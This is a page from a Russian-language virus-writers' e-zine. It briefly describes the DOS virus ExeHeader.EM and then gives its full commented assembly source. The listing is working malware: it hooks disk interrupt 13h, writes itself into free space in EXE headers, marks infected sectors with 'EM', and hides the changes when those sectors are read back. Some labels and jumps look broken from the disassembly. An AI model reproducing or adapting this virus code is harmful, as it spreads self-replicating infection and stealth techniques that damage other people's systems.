- [Duke's Virus Labs #9] - [Page 08] -

ExeHeader.EM
Disasm (c) by ULTRAS

Относится к вирусам, внедряющим свой код в заголовок (header) EXE-файлов
при наличии там свободного места. Некоторые из этих вирусов переводят файлы
из формата EXE в COM заменой сигнатуры "MZ" на jump. Не изменяют длины
файла. ExeHeader.EM - неопасный резидентный вирус. Содержит строку "EM".

===== Cut =====
em_ segment byte public
assume cs:em_  , ds:em_
virname db 'EM',0               ; infection mark
tiny    proc far
start:                          ; start virii
mov     ax,ss                   ; set ax=ss
add     ax,10h
mov     ss,ax                   ; set ss=ax
push    es                      ; save es at stack
xor     ax,ax                   ; zero ax
                                ; copy virus to upper half of IVT
mov     es,ax                   ; es = " " "
push    cs                      ; save cs at stack
pop     ds                      ; load ds from stack (cs)
cld                             ; clear direction flag
mov     di,200h
xor     si,si                   ; zero si
mov     cx,7Dh                  ; copy virus
rep     movsw
push    es                      ; save es at stack
pop     ds                      ; load ds from stack (es)
push    es                      ; save es at stack
mov     bx,299h
mov     dx,bx
mov     ah,13h                  ; get & set
int     2fh                     ; interrupt handler
pop     ds                      ; load ds from stack
mov     ds:vir_i,bx             ; bx&es address to restore int13
mov     ds:vir_i2,es            ; to on system halt
pop     ax                      ; load ax from stack
mov     ds,ax                   ; set ds=ax
mov     es,ax                   ; set es=ax
add     ax,20h                  ; ' '
add     word ptr cs:[0F8h],ax
jmp     short int13
tiny    endp
vir_i   equ     2F6h            ; virus int13 parametrs
vir_i2  equ     2F8h
mz_mark proc    near            ; check exe header
cld                             ; clear direction flag
push    es                      ; save es at stack
pop     ds                      ; load ds from stack (es)
cmp     word ptr [bx],5A4Dh     ; cover mark with 'MZ'
retn                            ; return
mz_mark endp                    ; end check
read:
push    di
push    si                      ; save registers at stack
push    ds
call    mz_mark                 ; test exe header
jnz     res_reg                 ; not zero? jump to res_reg
cmp     word ptr [bx+8],20h
jne     res_reg                 ; not equal? jump to res_reg
cmp     data_t[bx],0
jne     res_reg                 ; not equal? jump to res_reg
push    cs                      ; save cs at stack
pop     ds                      ; load ds from stack (cs)
mov     si,offset nop2          ; nop
mov     di,bx
add     di,offset data_t
push    cx                      ; save cx at stack
mov     cx,7Bh
rep     movsw
push    es                      ; save es at stack
pop     ds                      ; load ds from stack (es)
mov     si,bx
add     si,14h
movsw                           ; mov [si] to es:[di]
movsw
mov     di,[si]
mov     cx,[bx+6]
or      cx,cx                   ; zer0 ?
jz      nextz                   ; zero? jump to nextz
lopz:
add     word ptr [di],100h
add     di,4
loop    lopz                    ; loop if cx > 0
nextz:
mov     word ptr [bx+14h],2
mov     [bx+16h],cx
shr     word ptr [bx+8],1
pop     cx                      ; load ds from stack
res_reg:
pop     ds
pop     si
pop     di
int13:
jmp     short end_
cmp     ah,3                    ; write?
je      read                    ; equal? jump to read
cmp     ah,2                    ; read?
jne     int13                   ; not equal? jump to int13
push    si
push    di
pushf                           ; save flags at stack
push    cs
mov     di,2ADh
push    di                      ; save di at stack
jmp     short int13
jc      ex2                     ; error? jump to ex2
pushf                           ; save flags at stack
push    ds                      ; save ds at stack
call    mz_mark                 ; check exe header
jnz     ex                      ; not zero? jump to ex
cmp     data_t[bx],4D45h        ; EM? is sector infected?
jne     ex                      ; not equal? jump to ex
shl     word ptr [bx+8],1       ; shifts the bits of src
                                ; to the left
mov     di,bx                   ; set di=bx
mov     si,bx                   ; set si=bx
add     si,offset nop           ; add nop?
add     di,14h
movsw                           ; mov [si] to es:[di]
movsw
mov     si,[di]
push    cx                      ; save cx at stack
mov     cx,[bx+6]               ; set destination to of reloc items
or      cx,cx                   ; zer0?
jz      e_in                    ; zero? jump to e_in
lopz:
sub     word ptr [si],100h
add     si,4
loop    lopz
e_in:
mov     di,offset data_t        ; date table
mov     cx,7Dh                  ; virii
push    ax                      ; save ax at stack
xor     ax,ax                   ; zer0 ax
rep     stosw                   ;
pop     cx                      ; load registers from stack
pop     ax
ex:
pop     ds                      ; load ds from stack
popf                            ; pop flags
ex2:
pop     di                      ; load registers from stack
pop     si
retf    2                       ; return far
end_:
jmp     far ptr $-0F5h
db      0,0,0,0,0,0
data_t  dw 2B06h                ; data table (indexed access)
db      0C0h, 50h,0CBh
;db     11 dup (0)
;db     230 dup (90h)           ; hoh 230
nop     db      90h             ; nop
;db     9 dup (90h)
nop2    db      90h             ; nop
;db     7231 dup (90h)          ; wow!!!!
em_     ends
end     start
===== Cut =====